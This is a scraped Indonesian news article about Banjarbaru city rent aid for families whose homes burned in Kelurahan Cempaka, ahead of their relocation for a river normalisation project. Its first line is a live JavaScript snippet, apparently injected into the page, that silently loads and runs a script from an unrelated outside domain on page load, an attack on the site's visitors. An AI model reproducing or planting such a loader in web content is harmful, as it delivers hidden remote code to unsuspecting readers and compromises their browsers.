(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemberian bantuan dana sewa rumah warga terdampak kebakaran di RT 06 dan RT 23 Kelurahan Cempaka, Kecamatan Cempaka, Kota Banjarbaru, mulai direalisasikan Pemerintah Kota Banjarbaru.
Terdata ada 12 rumah terbakar rusak berat yang mendapat bantuan sewa rumah dari Dinas Perumahan dan Permukiman Kota Banjarbaru (Disperkim) Banjarbaru.
Sekretaris Daerah (Sekda) Kota Banjarbaru, Said Abdullah bersama dinas terkait melakukan penandatanganan perjanjian pemberian bantuan tersebut kepada warga yang terdampak dan pihak pemilik rumah sewa, Kamis (25/4/2024).
“Isi perjanjian kami menyiapkan untuk warga terdampak kebakaran ada 12 rumah sewa, tapi dengan perjanjian untuk mereka tidak membangun rumah di lokasi yang ada,” ujar Sekda Kota Banjarbaru, Said Abdullah, Kamis (25/4/2024) siang.
Baca juga: Kasus Cuci Uang Narkoba Fredy Pratama, Sang Ayah Divonis 20 Bulan Penjara
Lahan pasca kebakaran 17 rumah warga di Kelurahan Cempaka itu masuk dalam perencanaan normalisasi Sungai Kuranji oleh Dinas Perumahan dan Permukiman (PUPR) Banjarbaru tahun 2025.
Sedangkan untuk rencana normalisasi secara keseluruhan terdata ada 70 rumah yang akan direlokasi ke lahan seluas tiga hektare di Kelurahan Cempaka.
Oleh sebab itu disebutkan Sekda bahwa korban kebakaran yang terdampak tidak diperbolehkan untuk kembali bangun rumah di kawasan bantaran Sungai Kuranji itu.
“Karena mereka akan kita bangunkan rumah di lokasi baru mulai awal tahun 2025 mendatang,” ungkapnya.
Baca juga: PLN UPT dan UPTG Palangkaraya Lakukan Uprating MTU
“Jadi tolong pegang komitmen itu, karena lokasi yang terdampak akan lebih awal kami buat sungai dan lainnya sebagai prototipe untuk selanjutnya,” sambung dia.
Said Abdullah menjelaskan, perjanjian sewa rumah akan berlaku sampai rumah di lokasi relokasi selesai dibangun. Warga pun dibebaskan memilih rumah sewa mana yang ingin ditempati sementara sebelum rumah baru selesai.
Ketua RT 06 RW 008 Kelurahan Cempaka, Khairullah mengatakan, saat ini kondisi masyarakat terdampak kebakaran sudah bisa menempati rumah sewa yang dibantu Pemko Banjarbaru.
“Karena dampak kebakaran terbagi dari ringan, sangat ringan, kemudian yang menengah dan rusak total yang dikontrakkan (Sewa, red) oleh Disperkim, dan hari ini pembayarannya kepada pemilik rumah sewa,” ujar Khairullah.
Baca juga: Cegah Kerusakan Bahan Pustaka, Dua Perpustakaan Lakukan Fumigasi Selama Libur Lebaran
Khairullah mengatakan biaya sewa ditanggung oleh dana dari lemerintah kota dengan pembayaran yang dilakukan per tiga bulan sekali.
“Biaya ditanggung oleh Pemko selama mereka belum menempati rumah yang baru atau selama belum pembangunan,” tuntasnya.(Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.